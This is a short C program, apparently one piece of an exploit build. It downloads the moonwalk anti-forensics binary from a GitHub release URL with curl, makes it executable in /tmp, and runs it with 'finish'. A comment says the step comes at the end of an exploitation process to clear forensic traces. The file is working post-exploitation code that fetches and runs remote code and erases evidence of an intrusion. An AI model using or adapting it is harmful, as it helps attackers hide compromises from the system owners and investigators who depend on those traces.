Download and clean up moonwalk as part of a C exploit build

moonwalk.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

// Helper: check if file exists
int file_exists(const char *path) {
    return (access(path, F_OK) == 0);
}

int main(void) {
    const char *moonwalk_url;
    const char *moonwalk_path;

    #ifdef __APPLE__
        // Darwin (macOS) environment - openSSH runs normally on Darwin.
        moonwalk_url  = "https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_darwin";
        moonwalk_path = "/tmp/moonwalk_darwin";
    #else
        // Assume Linux environment.
        moonwalk_url  = "https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux";
        moonwalk_path = "/tmp/moonwalk_linux";
    #endif

    // If the binary is not already present, download it.
    if (!file_exists(moonwalk_path)) {
        char download_cmd[512];
        snprintf(download_cmd, sizeof(download_cmd),
                 "curl -s -L -o %s \"%s\" && chmod +x %s",
                 moonwalk_path, moonwalk_url, moonwalk_path);
        system(download_cmd);
    }

    // At the end of your exploitation process, call Moonwalk to clear forensic traces.
    char finish_cmd[256];
    snprintf(finish_cmd, sizeof(finish_cmd), "%s finish", moonwalk_path);
    system(finish_cmd);

    return 0;
}